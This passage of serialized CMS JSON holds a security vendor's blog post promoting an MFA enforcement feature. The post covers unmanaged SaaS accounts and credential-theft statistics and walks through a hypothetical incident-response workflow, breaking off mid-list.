"type":899},{"data":72413,"marks":72414,"value":70122,"nodeType":864},{},[],{"data":72416,"content":72417,"nodeType":860},{},[72418,72421,72428],{"data":72419,"marks":72420,"value":70129,"nodeType":864},{},[],{"data":72422,"content":72423,"nodeType":883},{"uri":70132},[72424],{"data":72425,"marks":72426,"value":70138,"nodeType":864},{},[72427],{"type":1455},{"data":72429,"marks":72430,"value":70142,"nodeType":864},{},[],{"data":72432,"content":72433,"nodeType":860},{},[72434],{"data":72435,"marks":72436,"value":70149,"nodeType":864},{},[],{"data":72438,"content":72439,"nodeType":860},{},[72440,72443,72450],{"data":72441,"marks":72442,"value":70156,"nodeType":864},{},[],{"data":72444,"content":72445,"nodeType":883},{"uri":13714},[72446],{"data":72447,"marks":72448,"value":70164,"nodeType":864},{},[72449],{"type":1455},{"data":72451,"marks":72452,"value":70168,"nodeType":864},{},[],{"data":72454,"content":72457,"nodeType":996},{"target":72455},{"sys":72456},{"id":70173,"type":1001,"linkType":1002},[],{"data":72459,"content":72460,"nodeType":860},{},[72461,72464,72471],{"data":72462,"marks":72463,"value":70181,"nodeType":864},{},[],{"data":72465,"content":72466,"nodeType":883},{"uri":70184},[72467],{"data":72468,"marks":72469,"value":70190,"nodeType":864},{},[72470],{"type":1455},{"data":72472,"marks":72473,"value":70194,"nodeType":864},{},[],{"data":72475,"content":72476,"nodeType":1005},{},[],{"data":72478,"content":72479,"nodeType":1009},{},[72480],{"data":72481,"marks":72482,"value":70204,"nodeType":864},{},[],{"data":72484,"content":72485,"nodeType":1312},{},[72486],{"data":72487,"marks":72488,"value":70029,"nodeType":864},{},[72489],{"type":899},{"data":72491,"content":72492,"nodeType":860},{},[72493],{"data":72494,"marks":72495,"value":70218,"nodeType":864},{},[],{"data":72497,"content":72498,"nodeType":860},{},[72499,72502,72509],{"data":72500,"marks":72501,"value":70225,"nodeType":864},{},[],{"data":72503,"content":72504,"nodeType":883},{"uri":56776},[72505],{"data":72506,"marks":72507,"value":70233,"nodeType":864},{},[72508],{"type":1455},{"data":72510,"marks":72511,"value":70237,"nodeType":864},{},[],{"data":72513,"content":72514,"nodeType":860},{},[72515,72518,72525],{"data":72516,"marks":72517,"value":70244,"nodeType":864},{},[],{"data":72519,"content":72520,"nodeType":883},{"uri":70247},[72521],{"data":72522,"marks":72523,"value":28841,"nodeType":864},{},[72524],{"type":1455},{"data":72526,"marks":72527,"value":70256,"nodeType":864},{},[],{"data":72529,"content":72530,"nodeType":860},{},[72531],{"data":72532,"marks":72533,"value":70263,"nodeType":864},{},[],{"data":72535,"content":72536,"nodeType":860},{},[72537,72540,72547],{"data":72538,"marks":72539,"value":70270,"nodeType":864},{},[],{"data":72541,"content":72542,"nodeType":883},{"uri":70273},[72543],{"data":72544,"marks":72545,"value":70279,"nodeType":864},{},[72546],{"type":1455},{"data":72548,"marks":72549,"value":70283,"nodeType":864},{},[],{"data":72551,"content":72552,"nodeType":860},{},[72553],{"data":72554,"marks":72555,"value":70290,"nodeType":864},{},[],{"data":72557,"content":72558,"nodeType":1312},{},[72559],{"data":72560,"marks":72561,"value":70099,"nodeType":864},{},[72562],{"type":899},{"data":72564,"content":72565,"nodeType":860},{},[72566,72569,72577,72581],{"data":72567,"marks":72568,"value":70304,"nodeType":864},{},[],{"data":72570,"content":72571,"nodeType":883},{"uri":70307},[72572],{"data":72573,"marks":72574,"value":70314,"nodeType":864},{},[72575,72576],{"type":1455},{"type":899},{"data":72578,"marks":72579,"value":70319,"nodeType":864},{},[72580],{"type":899},{"data":72582,"marks":72583,"value":25428,"nodeType":864},{},[],{"data":72585,"content":72586,"nodeType":860},{},[72587],{"data":72588,"marks":72589,"value":70329,"nodeType":864},{},[],{"data":72591,"content":72592,"nodeType":860},{},[72593,72596,72603],{"data":72594,"marks":72595,"value":70336,"nodeType":864},{},[],{"data":72597,"content":72598,"nodeType":883},{"uri":70339},[72599],{"data":72600,"marks":72601,"value":11824,"nodeType":864},{},[72602],{"type":1455},{"data":72604,"marks":72605,"value":70348,"nodeType":864},{},[],{"data":72607,"content":72608,"nodeType":860},{},[72609,72612,72620],{"data":72610,"marks":72611,"value":70355,"nodeType":864},{},[],{"data":72613,"content":72614,"nodeType":883},{"uri":70358},[72615],{"data":72616,"marks":72617,"value":70365,"nodeType":864},{},[72618,72619],{"type":1455},{"type":899},{"data":72621,"marks":72622,"value":70369,"nodeType":864},{},[],{"data":72624,"content":72627,"nodeType":996},{"target":72625},{"sys":72626},{"id":70374,"type":1001,"linkType":1002},[],{"data":72629,"content":72630,"nodeType":860},{},[72631],{"data":72632,"marks":72633,"value":70382,"nodeType":864},{},[],{"data":72635,"content":72636,"nodeType":860},{},[72637,72640,72647],{"data":72638,"marks":72639,"value":70389,"nodeType":864},{},[],{"data":72641,"content":72642,"nodeType":883},{"uri":70392},[72643],{"data":72644,"marks":72645,"value":70398,"nodeType":864},{},[72646],{"type":1455},{"data":72648,"marks":72649,"value":70402,"nodeType":864},{},[],{"data":72651,"content":72652,"nodeType":1005},{},[],{"data":72654,"content":72655,"nodeType":1009},{},[72656],{"data":72657,"marks":72658,"value":70412,"nodeType":864},{},[],{"data":72660,"content":72661,"nodeType":860},{},[72662,72665,72672],{"data":72663,"marks":72664,"value":70419,"nodeType":864},{},[],{"data":72666,"content":72667,"nodeType":883},{"uri":4408},[72668],{"data":72669,"marks":72670,"value":56111,"nodeType":864},{},[72671],{"type":1455},{"data":72673,"marks":72674,"value":2924,"nodeType":864},{},[],{"data":72676,"content":72677,"nodeType":860},{},[72678,72681,72688],{"data":72679,"marks":72680,"value":70436,"nodeType":864},{},[],{"data":72682,"content":72683,"nodeType":883},{"uri":3751},[72684],{"data":72685,"marks":72686,"value":70444,"nodeType":864},{},[72687],{"type":1455},{"data":72689,"marks":72690,"value":70448,"nodeType":864},{},[],{"data":72692,"content":72693,"nodeType":860},{},[72694],{"data":72695,"marks":72696,"value":70455,"nodeType":864},{},[],{"data":72698,"content":72699,"nodeType":941},{},[72700,72709,72718,72727,72736],{"data":72701,"content":72702,"nodeType":945},{},[72703],{"data":72704,"content":72705,"nodeType":860},{},[72706],{"data":72707,"marks":72708,"value":70468,"nodeType":864},{},[],{"data":72710,"content":72711,"nodeType":945},{},[72712],{"data":72713,"content":72714,"nodeType":860},{},[72715],{"data":72716,"marks":72717,"value":70478,"nodeType":864},{},[],{"data":72719,"content":72720,"nodeType":945},{},[72721],{"data":72722,"content":72723,"nodeType":860},{},[72724],{"data":72725,"marks":72726,"value":70488,"nodeType":864},{},[],{"data":72728,"content":72729,"nodeType":945},{},[72730],{"data":72731,"content":72732,"nodeType":860},{},[72733],{"data":72734,"marks":72735,"value":70498,"nodeType":864},{},[],{"data":72737,"content":72738,"nodeType":945},{},[72739],{"data":72740,"content":72741,"nodeType":860},{},[72742],{"data":72743,"marks":72744,"value":70508,"nodeType":864},{},[],{"data":72746,"content":72747,"nodeType":860},{},[72748],{"data":72749,"marks":72750,"value":70515,"nodeType":864},{},[],{"data":72752,"content":72753,"nodeType":1005},{},[],{"data":72755,"content":72756,"nodeType":1009},{},[72757],{"data":72758,"marks":72759,"value":70525,"nodeType":864},{},[],{"data":72761,"content":72762,"nodeType":1312},{},[72763],{"data":72764,"marks":72765,"value":70029,"nodeType":864},{},[72766],{"type":899},{"data":72768,"content":72769,"nodeType":860},{},[72770,72773,72780],{"data":72771,"marks":72772,"value":21,"nodeType":864},{},[],{"data":72774,"content":72775,"nodeType":883},{"uri":70541},[72776],{"data":72777,"marks":72778,"value":70547,"nodeType":864},{},[72779],{"type":1455},{"data":72781,"marks":72782,"value":70551,"nodeType":864},{},[],{"data":72784,"content":72785,"nodeType":860},{},[72786,72789,72796],{"data":72787,"marks":72788,"value":70558,"nodeType":864},{},[],{"data":72790,"content":72791,"nodeType":883},{"uri":70561},[72792],{"data":72793,"marks":72794,"value":70567,"nodeType":864},{},[72795],{"type":1455},{"data":72797,"marks":72798,"value":70571,"nodeType":864},{},[],{"data":72800,"content":72801,"nodeType":860},{},[72802],{"data":72803,"marks":72804,"value":70578,"nodeType":864},{},[],{"data":72806,"content":72807,"nodeType":1312},{},[72808],{"data":72809,"marks":72810,"value":70099,"nodeType":864},{},[72811],{"type":899},{"data":72813,"content":72814,"nodeType":860},{},[72815],{"data":72816,"marks":72817,"value":70592,"nodeType":864},{},[],{"data":72819,"content":72820,"nodeType":860},{},[72821,72824,72832],{"data":72822,"marks":72823,"value":1238,"nodeType":864},{},[],{"data":72825,"content":72826,"nodeType":883},{"uri":70601},[72827],{"data":72828,"marks":72829,"value":70608,"nodeType":864},{},[72830,72831],{"type":1455},{"type":899},{"data":72833,"marks":72834,"value":70612,"nodeType":864},{},[],{"data":72836,"content":72837,"nodeType":860},{},[72838],{"data":72839,"marks":72840,"value":70619,"nodeType":864},{},[],{"data":72842,"content":72843,"nodeType":860},{},[72844],{"data":72845,"marks":72846,"value":70626,"nodeType":864},{},[],{"data":72848,"content":72851,"nodeType":996},{"target":72849},{"sys":72850},{"id":70631,"type":1001,"linkType":1002},[],{"data":72853,"content":72856,"nodeType":996},{"target":72854},{"sys":72855},{"id":70637,"type":1001,"linkType":1002},[],{"data":72858,"content":72859,"nodeType":1005},{},[],{"data":72861,"content":72862,"nodeType":1009},{},[72863],{"data":72864,"marks":72865,"value":70648,"nodeType":864},{},[],{"data":72867,"content":72868,"nodeType":1312},{},[72869],{"data":72870,"marks":72871,"value":70029,"nodeType":864},{},[72872],{"type":899},{"data":72874,"content":72875,"nodeType":860},{},[72876],{"data":72877,"marks":72878,"value":70662,"nodeType":864},{},[],{"data":72880,"content":72881,"nodeType":860},{},[72882,72885,72892],{"data":72883,"marks":72884,"value":70669,"nodeType":864},{},[],{"data":72886,"content":72887,"nodeType":883},{"uri":70672},[72888],{"data":72889,"marks":72890,"value":70678,"nodeType":864},{},[72891],{"type":1455},{"data":72893,"marks":72894,"value":70682,"nodeType":864},{},[],{"data":72896,"content":72897,"nodeType":1116},{},[72898],{"data":72899,"content":72900,"nodeType":860},{},[72901],{"data":72902,"marks":72903,"value":70692,"nodeType":864},{},[],{"data":72905,"content":72906,"nodeType":860},{},[72907,72910,72917],{"data":72908,"marks":72909,"value":70699,"nodeType":864},{},[],{"data":72911,"content":72912,"nodeType":883},{"uri":70541},[72913],{"data":72914,"marks":72915,"value":70707,"nodeType":864},{},[72916],{"type":1455},{"data":72918,"marks":72919,"value":70711,"nodeType":864},{},[],{"data":72921,"content":72922,"nodeType":860},{},[72923],{"data":72924,"marks":72925,"value":70718,"nodeType":864},{},[],{"data":72927,"content":72928,"nodeType":860},{},[72929],{"data":72930,"marks":72931,"value":70725,"nodeType":864},{},[],{"data":72933,"content":72934,"nodeType":1116},{},[72935],{"data":72936,"content":72937,"nodeType":860},{},[72938],{"data":72939,"marks":72940,"value":70735,"nodeType":864},{},[],{"data":72942,"content":72943,"nodeType":1312},{},[72944],{"data":72945,"marks":72946,"value":70099,"nodeType":864},{},[72947],{"type":899},{"data":72949,"content":72950,"nodeType":860},{},[72951],{"data":72952,"marks":72953,"value":70749,"nodeType":864},{},[],{"data":72955,"content":72956,"nodeType":860},{},[72957,72960,72968],{"data":72958,"marks":72959,"value":70756,"nodeType":864},{},[],{"data":72961,"content":72962,"nodeType":883},{"uri":68809},[72963],{"data":72964,"marks":72965,"value":70765,"nodeType":864},{},[72966,72967],{"type":1455},{"type":899},{"data":72969,"marks":72970,"value":70769,"nodeType":864},{},[],{"data":72972,"content":72975,"nodeType":996},{"target":72973},{"sys":72974},{"id":70774,"type":1001,"linkType":1002},[],{"data":72977,"content":72978,"nodeType":1005},{},[],{"data":72980,"content":72981,"nodeType":1009},{},[72982],{"data":72983,"marks":72984,"value":70785,"nodeType":864},{},[],{"data":72986,"content":72987,"nodeType":860},{},[72988],{"data":72989,"marks":72990,"value":70792,"nodeType":864},{},[],{"data":72992,"content":72993,"nodeType":860},{},[72994],{"data":72995,"marks":72996,"value":70799,"nodeType":864},{},[],{"data":72998,"content":72999,"nodeType":941},{},[73000,73016,73032],{"data":73001,"content":73002,"nodeType":945},{},[73003],{"data":73004,"content":73005,"nodeType":860},{},[73006,73009,73013],{"data":73007,"marks":73008,"value":70812,"nodeType":864},{},[],{"data":73010,"marks":73011,"value":70817,"nodeType":864},{},[73012],{"type":899},{"data":73014,"marks":73015,"value":70821,"nodeType":864},{},[],{"data":73017,"content":73018,"nodeType":945},{},[73019],{"data":73020,"content":73021,"nodeType":860},{},[73022,73025,73029],{"data":73023,"marks":73024,"value":70831,"nodeType":864},{},[],{"data":73026,"marks":73027,"value":70836,"nodeType":864},{},[73028],{"type":899},{"data":73030,"marks":73031,"value":70840,"nodeType":864},{},[],{"data":73033,"content":73034,"nodeType":945},{},[73035],{"data":73036,"content":73037,"nodeType":860},{},[73038,73041,73045,73048,73055],{"data":73039,"marks":73040,"value":70850,"nodeType":864},{},[],{"data":73042,"marks":73043,"value":70855,"nodeType":864},{},[73044],{"type":899},{"data":73046,"marks":73047,"value":70859,"nodeType":864},{},[],{"data":73049,"content":73050,"nodeType":883},{"uri":13726},[73051],{"data":73052,"marks":73053,"value":13731,"nodeType":864},{},[73054],{"type":1455},{"data":73056,"marks":73057,"value":70870,"nodeType":864},{},[],{"data":73059,"content":73060,"nodeType":860},{},[73061],{"data":73062,"marks":73063,"value":70877,"nodeType":864},{},[],{"data":73065,"content":73066,"nodeType":860},{},[73067],{"data":73068,"marks":73069,"value":70884,"nodeType":864},{},[],{"data":73071,"content":73072,"nodeType":860},{},[73073],{"data":73074,"marks":73075,"value":70891,"nodeType":864},{},[],{"data":73077,"content":73078,"nodeType":1312},{},[73079],{"data":73080,"marks":73081,"value":70899,"nodeType":864},{},[73082],{"type":899},{"data":73084,"content":73085,"nodeType":860},{},[73086,73089,73097],{"data":73087,"marks":73088,"value":70906,"nodeType":864},{},[],{"data":73090,"content":73091,"nodeType":883},{"uri":70909},[73092],{"data":73093,"marks":73094,"value":70916,"nodeType":864},{},[73095,73096],{"type":1455},{"type":899},{"data":73098,"marks":73099,"value":70920,"nodeType":864},{},[],{"data":73101,"content":73102,"nodeType":860},{},[73103],{"data":73104,"marks":73105,"value":70927,"nodeType":864},{},[],{"data":73107,"content":73110,"nodeType":996},{"target":73108},{"sys":73109},{"id":70932,"type":1001,"linkType":1002},[],{"data":73112,"content":73113,"nodeType":1312},{},[73114,73118],{"data":73115,"marks":73116,"value":70941,"nodeType":864},{},[73117],{"type":899},{"data":73119,"marks":73120,"value":1171,"nodeType":864},{},[],{"data":73122,"content":73123,"nodeType":860},{},[73124,73127,73135],{"data":73125,"marks":73126,"value":70951,"nodeType":864},{},[],{"data":73128,"content":73129,"nodeType":883},{"uri":70954},[73130],{"data":73131,"marks":73132,"value":70961,"nodeType":864},{},[73133,73134],{"type":1455},{"type":899},{"data":73136,"marks":73137,"value":70965,"nodeType":864},{},[],{"data":73139,"content":73140,"nodeType":860},{},[73141],{"data":73142,"marks":73143,"value":70972,"nodeType":864},{},[],{"data":73145,"content":73146,"nodeType":1312},{},[73147],{"data":73148,"marks":73149,"value":70980,"nodeType":864},{},[73150],{"type":899},{"data":73152,"content":73153,"nodeType":860},{},[73154,73157,73165],{"data":73155,"marks":73156,"value":70987,"nodeType":864},{},[],{"data":73158,"content":73159,"nodeType":883},{"uri":69161},[73160],{"data":73161,"marks":73162,"value":70996,"nodeType":864},{},[73163,73164],{"type":1455},{"type":899},{"data":73166,"marks":73167,"value":71000,"nodeType":864},{},[],{"data":73169,"content":73170,"nodeType":860},{},[73171],{"data":73172,"marks":73173,"value":71007,"nodeType":864},{},[],{"data":73175,"content":73176,"nodeType":860},{},[73177],{"data":73178,"marks":73179,"value":71014,"nodeType":864},{},[],{"data":73181,"content":73184,"nodeType":996},{"target":73182},{"sys":73183},{"id":71019,"type":1001,"linkType":1002},[],{"data":73186,"content":73187,"nodeType":1005},{},[],{"data":73189,"content":73190,"nodeType":1009},{},[73191],{"data":73192,"marks":73193,"value":71030,"nodeType":864},{},[],{"data":73195,"content":73196,"nodeType":860},{},[73197,73200,73206],{"data":73198,"marks":73199,"value":71037,"nodeType":864},{},[],{"data":73201,"content":73202,"nodeType":883},{"uri":5642},[73203],{"data":73204,"marks":73205,"value":69855,"nodeType":864},{},[],{"data":73207,"marks":73208,"value":69859,"nodeType":864},{},[],{"items":73210},[73211,73213],{"sys":73212,"name":342},{"id":6596},{"sys":73214,"name":297},{"id":2732},{"items":73216},[73217],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":73218},{"url":853},{"__typename":2059,"sys":73220,"content":73222,"title":73866,"synopsis":73867,"hashTags":59,"publishedDate":71049,"slug":73868,"tagsCollection":73869,"authorsCollection":73875},{"id":73221},"wikyVxlHwKUOKM9xo19eP",{"json":73223},{"data":73224,"content":73225,"nodeType":856},{},[73226,73232,73235,73242,73265,73295,73305,73324,73331,73337,73344,73359,73366,73369,73376,73383,73402,73409,73455,73462,73468,73474,73481,73514,73528,73531,73538,73545,73552,73559,73566,73573,73580,73688,73694,73709,73716,73731,73764,73780,73787,73802,73808,73815,73822,73828,73835,73841,73848],{"data":73227,"content":73231,"nodeType":996},{"target":73228},{"sys":73229},{"id":73230,"type":1001,"linkType":1002},"1hUpsNwuhEXwSPijvRflTq",[],{"data":73233,"content":73234,"nodeType":1005},{},[],{"data":73236,"content":73237,"nodeType":860},{},[73238],{"data":73239,"marks":73240,"value":73241,"nodeType":864},{},[],"There are two things every security operations engineer can agree on:",{"data":73243,"content":73244,"nodeType":941},{},[73245,73255],{"data":73246,"content":73247,"nodeType":945},{},[73248],{"data":73249,"content":73250,"nodeType":860},{},[73251],{"data":73252,"marks":73253,"value":73254,"nodeType":864},{},[],"Get MFA on every account on every app.",{"data":73256,"content":73257,"nodeType":945},{},[73258],{"data":73259,"content":73260,"nodeType":860},{},[73261],{"data":73262,"marks":73263,"value":73264,"nodeType":864},{},[],"This is stupidly harder to achieve than it seems.",{"data":73266,"content":73267,"nodeType":860},{},[73268,73272,73280,73284,73291],{"data":73269,"marks":73270,"value":73271,"nodeType":864},{},[],"The penalties for failing to solve this hard simple problem are abundantly clear. Stolen credentials accounted for roughly half of the initial access methods observed this year across 30,000+ attacks, according to Verizon’s 2024 ",{"data":73273,"content":73274,"nodeType":883},{"uri":8429},[73275],{"data":73276,"marks":73277,"value":73279,"nodeType":864},{},[73278],{"type":1455},"Data Breach Investigations Report",{"data":73281,"marks":73282,"value":73283,"nodeType":864},{},[],". And ",{"data":73285,"content":73286,"nodeType":883},{"uri":70672},[73287],{"data":73288,"marks":73289,"value":73290,"nodeType":864},{},[],"in a review of 30 publicly disclosed breaches involving identity attacks",{"data":73292,"marks":73293,"value":73294,"nodeType":864},{},[]," in 2024, we found that 73% (almost three-quarters) were the result of compromised credentials, with the rest the result of phishing. ",{"data":73296,"content":73297,"nodeType":1116},{},[73298],{"data":73299,"content":73300,"nodeType":860},{},[73301],{"data":73302,"marks":73303,"value":73304,"nodeType":864},{},[],"Three-quarters of publicly disclosed breaches involving identity attacks in 2024 involved compromised credentials and missing MFA.",{"data":73306,"content":73307,"nodeType":860},{},[73308,73312,73320],{"data":73309,"marks":73310,"value":73311,"nodeType":864},{},[],"In the case of the ",{"data":73313,"content":73314,"nodeType":883},{"uri":3751},[73315],{"data":73316,"marks":73317,"value":73319,"nodeType":864},{},[73318],{"type":1455},"Snowflake incident",{"data":73321,"marks":73322,"value":73323,"nodeType":864},{},[]," earlier this year, a lack of MFA meant the difference between an enormous and murky firefight to clean up accounts breached with legitimate credentials, and a decent night’s sleep. The result was hundreds of millions of breached customer records, nine publicly named victims, and at least one ransom paid.",{"data":73325,"content":73326,"nodeType":860},{},[73327],{"data":73328,"marks":73329,"value":73330,"nodeType":864},{},[],"“Do you know how many accounts we have on this third-party service, who owns them, how many tenants, whether those creds are shared elsewhere, and their security posture?” is not a fun question to answer on a Friday. ",{"data":73332,"content":73336,"nodeType":996},{"target":73333},{"sys":73334},{"id":73335,"type":1001,"linkType":1002},"6hg6PLXWMZaEDnGekHEzmD",[],{"data":73338,"content":73339,"nodeType":860},{},[73340],{"data":73341,"marks":73342,"value":73343,"nodeType":864},{},[],"For SecOps teams we’ve helped here at Push that responded to incidents affecting third-party apps (like Snowflake), the first item on the recovery plan is to finally solve that hard simple problem: No more MFA gaps.",{"data":73345,"content":73346,"nodeType":860},{},[73347,73351,73355],{"data":73348,"marks":73349,"value":73350,"nodeType":864},{},[],"With our latest feature release, ",{"data":73352,"marks":73353,"value":70996,"nodeType":864},{},[73354],{"type":899},{"data":73356,"marks":73357,"value":73358,"nodeType":864},{},[],", this is so much easier. With MFA enforcement, Push administrators can configure a control to prompt employees to enroll in MFA whenever Push detects that they’re not registered — even on apps that don’t natively provide any administrative enforcement option for MFA. This capability is made possible by the Push browser extension, which uses in-browser messaging and simple workflows to guide users right where they work.",{"data":73360,"content":73361,"nodeType":860},{},[73362],{"data":73363,"marks":73364,"value":73365,"nodeType":864},{},[],"In this article, we’ll cover how Push helps you identify and close MFA gaps, how our new enforcement feature is one part of that solution, and how you can test the platform yourself.",{"data":73367,"content":73368,"nodeType":1005},{},[],{"data":73370,"content":73371,"nodeType":1009},{},[73372],{"data":73373,"marks":73374,"value":73375,"nodeType":864},{},[],"Shining a light on MFA gaps",{"data":73377,"content":73378,"nodeType":860},{},[73379],{"data":73380,"marks":73381,"value":73382,"nodeType":864},{},[],"There’s no question that the rise of ubiquitous multi-factor authentication has been an enormous advance for defenders in cybersecurity. ",{"data":73384,"content":73385,"nodeType":860},{},[73386,73390,73399],{"data":73387,"marks":73388,"value":73389,"nodeType":864},{},[],"Yet several years into this journey, the problem of verifying and enforcing MFA coverage across an organization remains a bit of a ",{"data":73391,"content":73393,"nodeType":883},{"uri":73392},"https://en.wikipedia.org/wiki/Puzzle_box",[73394],{"data":73395,"marks":73396,"value":73398,"nodeType":864},{},[73397],{"type":1455},"puzzle box",{"data":73400,"marks":73401,"value":2924,"nodeType":864},{},[],{"data":73403,"content":73404,"nodeType":860},{},[73405],{"data":73406,"marks":73407,"value":73408,"nodeType":864},{},[],"Why is this?",{"data":73410,"content":73411,"nodeType":941},{},[73412,73422,73432],{"data":73413,"content":73414,"nodeType":945},{},[73415],{"data":73416,"content":73417,"nodeType":860},{},[73418],{"data":73419,"marks":73420,"value":73421,"nodeType":864},{},[],"Complex overlapping (and occasionally contradictory) configurations for enterprise MFA solutions can result in entire employee groups not registered for MFA, and other critical missing pieces.",{"data":73423,"content":73424,"nodeType":945},{},[73425],{"data":73426,"content":73427,"nodeType":860},{},[73428],{"data":73429,"marks":73430,"value":73431,"nodeType":864},{},[],"With a sprawling ecosystem of both SSO-managed and unmanaged self-adopted SaaS, MFA coverage ends up looking more like a patchwork than a unified layer of protection. Security teams lack visibility of freemium and self-purchased apps, and when signup is simple, many users will naturally skip MFA registration to remove a layer of friction. The end result is often a suite of core apps managed via SSO that enforce MFA — and a lot of other unmanaged apps that don’t (true nightmare fodder).",{"data":73433,"content":73434,"nodeType":945},{},[73435],{"data":73436,"content":73437,"nodeType":860},{},[73438,73442,73451],{"data":73439,"marks":73440,"value":73441,"nodeType":864},{},[],"Another annoying piece of the puzzle box: Even in organizations with a high adoption rate of phishing-resistant MFA methods, having backup MFA methods (and a lack of total visibility into all of those registered methods) can create situations where ",{"data":73443,"content":73445,"nodeType":883},{"uri":73444},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_downgrade/description.md",[73446],{"data":73447,"marks":73448,"value":73450,"nodeType":864},{},[73449],{"type":1455},"MFA downgrade attacks",{"data":73452,"marks":73453,"value":73454,"nodeType":864},{},[]," are still possible. In MFA downgrade attacks, backup MFA methods that are less secure such as SMS or TOTP can be exploited, effectively bypassing more phishing-resistant methods.",{"data":73456,"content":73457,"nodeType":860},{},[73458],{"data":73459,"marks":73460,"value":73461,"nodeType":864},{},[],"The challenges of solving this puzzle are evident. ",{"data":73463,"content":73467,"nodeType":996},{"target":73464},{"sys":73465},{"id":73466,"type":1001,"linkType":1002},"2BBiFx8pHjSCeLTlP6n6da",[],{"data":73469,"content":73473,"nodeType":996},{"target":73470},{"sys":73471},{"id":73472,"type":1001,"linkType":1002},"2QnWVpPYRyJQaQ5TuKSSLp",[],{"data":73475,"content":73476,"nodeType":860},{},[73477],{"data":73478,"marks":73479,"value":73480,"nodeType":864},{},[],"To shine a light on MFA gaps, then, security teams need three things:",{"data":73482,"content":73483,"nodeType":941},{},[73484,73494,73504],{"data":73485,"content":73486,"nodeType":945},{},[73487],{"data":73488,"content":73489,"nodeType":860},{},[73490],{"data":73491,"marks":73492,"value":73493,"nodeType":864},{},[],"A full accounting of their identity attack surface, including accounts on unmanaged and freemium apps not on SSO.",{"data":73495,"content":73496,"nodeType":945},{},[73497],{"data":73498,"content":73499,"nodeType":860},{},[73500],{"data":73501,"marks":73502,"value":73503,"nodeType":864},{},[],"A trustworthy out-of-band method for verifying MFA coverage, beyond the tangle of conditional access rules.",{"data":73505,"content":73506,"nodeType":945},{},[73507],{"data":73508,"content":73509,"nodeType":860},{},[73510],{"data":73511,"marks":73512,"value":73513,"nodeType":864},{},[],"Visibility into which MFA methods are registered to a given account.",{"data":73515,"content":73516,"nodeType":860},{},[73517,73521,73525],{"data":73518,"marks":73519,"value":73520,"nodeType":864},{},[],"You can get all three with the Push platform. The missing piece we’ve now added is a way to automatically prompt employees to add MFA wherever it’s missing. Enter ",{"data":73522,"marks":73523,"value":70996,"nodeType":864},{},[73524],{"type":899},{"data":73526,"marks":73527,"value":2924,"nodeType":864},{},[],{"data":73529,"content":73530,"nodeType":1005},{},[],{"data":73532,"content":73533,"nodeType":1009},{},[73534],{"data":73535,"marks":73536,"value":73537,"nodeType":864},{},[],"How Push helps you ensure MFA coverage",{"data":73539,"content":73540,"nodeType":860},{},[73541],{"data":73542,"marks":73543,"value":73544,"nodeType":864},{},[],"Let’s take a look at a hypothetical incident response scenario to see how Push’s identity visibility and security controls help you ensure MFA coverage.",{"data":73546,"content":73547,"nodeType":860},{},[73548],{"data":73549,"marks":73550,"value":73551,"nodeType":864},{},[],"We’ll assume that prior to this incident, you had already deployed the Push browser extension, which you can install and enforce using any MDM solution, on all major browsers.",{"data":73553,"content":73554,"nodeType":860},{},[73555],{"data":73556,"marks":73557,"value":73558,"nodeType":864},{},[],"It’s a Friday afternoon (sorry).",{"data":73560,"content":73561,"nodeType":860},{},[73562],{"data":73563,"marks":73564,"value":73565,"nodeType":864},{},[],"News breaks that there’s been a suspected breach at a popular enterprise SaaS service.",{"data":73567,"content":73568,"nodeType":860},{},[73569],{"data":73570,"marks":73571,"value":73572,"nodeType":864},{},[],"You’re familiar with the service, but you don’t believe it’s a core managed app at your organization. Unfortunately, that does not mean you don’t have accounts (sorry again).",{"data":73574,"content":73575,"nodeType":860},{},[73576],{"data":73577,"marks":73578,"value":73579,"nodeType":864},{},[],"Using Push, you can:",{"data":73581,"content":73582,"nodeType":941},{},[73583,73602,73612,73639,73666],{"data":73584,"content":73585,"nodeType":945},{},[73586],{"data":73587,"content":73588,"nodeType":860},{},[73589,73593,73598],{"data":73590,"marks":73591,"value":73592,"nodeType":864},{},[],"Immediately check whether the Push extension has observed employee usage of the breached app. It will appear on the ",{"data":73594,"marks":73595,"value":73597,"nodeType":864},{},[73596],{"type":899},"Apps",{"data":73599,"marks":73600,"value":73601,"nodeType":864},{},[]," table. From this overview, you can see how many accounts Push has seen on that app and how they are accessing it (SSO vs. other methods, such as local password login).",{"data":73603,"content":73604,"nodeType":945},{},[73605],{"data":73606,"content":73607,"nodeType":860},{},[73608],{"data":73609,"marks":73610,"value":73611,"nodeType":864},{},[],"For those accounts on the breached app, you can quickly see whether they have MFA, and which methods are registered. To determine MFA status, the Push extension uses the existing user’s active session on an app to query that account’s MFA registration status using the app’s own API, providing a trustworthy verification. ",{"data":73613,"content":73614,"nodeType":945},{},[73615],{"data":73616,"content":73617,"nodeType":860},{},[73618,73622,73627,73631,73636],{"data":73619,"marks":73620,"value":73621,"nodeType":864},{},[],"You can also see whether the users’ passwords have any security issues, such as a verified stolen credential, or a password that’s weak or reused by filtering the ",{"data":73623,"marks":73624,"value":73626,"nodeType":864},{},[73625],{"type":899},"Accounts",{"data":73628,"marks":73629,"value":73630,"nodeType":864},{},[]," list for ",{"data":73632,"marks":73633,"value":73635,"nodeType":864},{},[73634],{"type":899},"Findings",{"data":73637,"marks":73638,"value":2924,"nodeType":864},{},[],{"data":73640,"content":73641,"nodeType":945},{},[73642],{"data":73643,"content":73644,"nodeType":860},{},[73645,73649,73653,73657,73662],{"data":73646,"marks":73647,"value":73648,"nodeType":864},{},[],"For accounts that lack MFA, you can then configure the ",{"data":73650,"marks":73651,"value":70996,"nodeType":864},{},[73652],{"type":899},{"data":73654,"marks":73655,"value":73656,"nodeType":864},{},[]," control from the ",{"data":73658,"marks":73659,"value":73661,"nodeType":864},{},[73660],{"type":899},"Controls",{"data":73663,"marks":73664,"value":73665,"nodeType":864},{},[]," page. This will prompt employees who lack MFA to set it up whenever they next use the app. In parallel, you can reach out to affected employees through your preferred comms channel and ask them to immediately register for MFA and change their password on the app. ",{"data":73667,"content":73668,"nodeType":945},{},[73669],{"data":73670,"content":73671,"nodeType":860},{},[73672,73676,73685],{"data":73673,"marks":73674,"value":73675,"nodeType":864},{},[],"Then use Push’s webhooks to monitor for MFA registrations and password changes to roll in, by querying the ",{"data":73677,"content":73679,"nodeType":883},{"uri":73678},"https://pushsecurity.redoc.ly/webhooks-v1#operation/login-event",[73680],{"data":73681,"marks":73682,"value":73684,"nodeType":864},{},[73683],{"type":1455},"Login 